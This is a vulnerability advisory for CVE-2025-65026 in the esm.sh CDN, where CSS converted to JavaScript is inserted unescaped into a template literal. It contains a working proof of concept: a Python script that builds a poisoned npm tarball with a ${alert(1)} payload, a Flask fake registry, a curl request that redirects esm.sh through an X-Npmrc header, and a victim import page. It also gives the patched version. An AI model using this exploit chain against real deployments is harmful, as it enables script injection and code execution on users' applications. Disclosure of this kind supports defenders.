CVE-2025-65026: esm.sh CDN service has JS Template Literal Injection in CSS-to-JavaScript
Summary The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature.
When a CSS file is requested with the ?module query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization.
An attacker can inject malicious JavaScript code using ${...} expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications.
Root Cause: The CSS module conversion logic (router.go:1112-1119) performs incomplete sanitization - it only checks for backticks (\) but fails to escape template literal expressions (${...}), allowing arbitrary JavaScript execution when the CSS content is inserted into a template literal string.
Details File: server/router.go Lines: 1112-1119
go // Convert CSS to JavaScript module when ?module query is present if pathKind == RawFile && strings.HasSuffix(esm.SubPath, ".css") && query.Has("module") { filename := path.Join(npmrc.StoreDir(), esm.Name(), "nodemodules", esm.PkgName, esm.SubPath) css, err := os.ReadFile(filename) if err != nil { return rex.Status(500, err.Error()) } buf := bytes.NewBufferString("/ esm.sh - css module /\n") buf.WriteString("const stylesheet = new CSSStyleSheet();\n") if bytes.ContainsRune(css, '') { // If backtick exists: JSON encode (SAFE) buf.WriteString("stylesheet.replaceSync(") buf.WriteString(strings.TrimSpace(string(utils.MustEncodeJSON(string(css))))) buf.WriteString(");\n") } else { // If no backtick: Direct insertion (VULNERABLE!) buf.WriteString("stylesheet.replaceSync(") buf.Write(css) // ← CSS inserted into template literal without sanitization! buf.WriteString(");\n") } buf.WriteString("export default stylesheet;\n") ctx.SetHeader("Content-Type", ctJavaScript) return buf } When CSS does not contain backticks, the code directly inserts the raw CSS content into a JavaScript template literal without escaping ${...} expressions. Template literals in JavaScript evaluate expressions within ${...}, causing any such expressions in the CSS to execute as JavaScript code.
PoC
Step 1. Create Malicious Package (tar) python import tarfile import io import json from datetime import datetime
Malicious CSS with template literal injection evilcss = b""" body { background-color: #ffffff; color: #333333; }
.container { max-width: 1200px; margin: 0 auto; }
/ js payload / ${alert(1)}
/ More CSS to appear legitimate / .footer { margin-top: 20px; padding: 10px; } """
files = { "package/index.js": b"module.exports = { version: '1.0.0' };", "package/package.json": json.dumps({ "name": "test-css-injection", "version": "1.0.0", "description": "Test package for CSS injection", "main": "index.js" }, indent=2).encode(), # Malicious CSS file "package/poc.css": evilcss, }
with tarfile.open("test-css-injection-1.0.0.tgz", "w:gz") as tar: for name, content in files.items(): info = tarfile.TarInfo(name=name) info.size = len(content) info.mode = 0o644 info.mtime = int(datetime.now().timestamp()) tar.addfile(info, io.BytesIO(content))
print("Malicious CSS tarball created - test-css-injection-1.0.0.tgz")
Step 2. Run Fake Registry Server python fake-npm-registry.py from flask import Flask, jsonify, sendfile
app = Flask(name)
MALICIOUSTARBALL = "/tmp/test-css-injection-1.0.0.tgz" # HERE MALICIOUS TAR PATH REGISTRYURL = "http://host.docker.internal:9999" # HERE FAKE REGISTRY SERVER
@app.route('/<package>') def getmetadata(package): return jsonify({ "name": package, "versions": { "1.0.0": { "name": package, "version": "1.0.0", "dist": { "tarball": f"{REGISTRYURL}/{package}/-/{package}-1.0.0.tgz" } } }, "dist-tags": {"latest": "1.0.0"} })
@app.route('/<package>/-/<filename>') def gettarball(package, filename): return sendfile(MALICIOUSTARBALL, mimetype='application/gzip')
if name == 'main': app.run(host='0.0.0.0', port=9999)
bash python3 fake-npm-registry.py > Note: I used a fake server for convenience here, but you can also use the official registry (npm, github, etc.)
Step 3. Request Malicious Package with X-Npmrc Header (File Upload) bash curl "http://localhost:8080/test-tarslip@1.0.0" \ -H 'X-Npmrc: {"registry":"http://host.docker.internal:9999/"}'
Step 4. Check Cross-site Script (alert(1)) html <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>CSS Injection Victim Page</title> </head> <body> <script type="module"> // esm.sh import import styles from "http://localhost:8080/test-css-injection@1.0.0/poc.css?module"; console.log('Styles loaded:', styles); </script> </body> </html> <img width="1414" height="238" alt="image" src="https://github.com/user-attachments/assets/acf00a7b-cad2-4af0-8885-9ba2433ba9fb" />
in esm.sh Playground <img width="1568" height="502" alt="image" src="https://github.com/user-attachments/assets/b2cd56a9-930e-4e64-a05c-5df02682c897" />
Impact Can execute arbitrary JavaScript. This can sometimes lead to remote code execution. (Electron App, Deno App, ...)
Other sources
esm.sh is a nobuild content delivery network(CDN) for modern web development. Prior to version 136, The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature. When a CSS file is requested with the ?module query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization. An attacker can inject malicious JavaScript code using ${...} expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications. This issue has been patched in version 136.
— NVD
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2025-65026?
The severity of CVE-2025-65026 is considered critical due to the potential for remote code execution through template literal injection.
How do I fix CVE-2025-65026?
To fix CVE-2025-65026, upgrade the esm.sh CDN service to version 136 or later.
What is the impact of CVE-2025-65026?
The impact of CVE-2025-65026 includes the risk of attackers injecting malicious code into applications that utilize the CDN for CSS-to-JavaScript conversions.
Who is affected by CVE-2025-65026?
Anyone using versions prior to 136 of the esm.sh CDN service is affected by CVE-2025-65026.
What type of vulnerability is CVE-2025-65026?
CVE-2025-65026 is classified as a Template Literal Injection vulnerability, falling under CWE-94.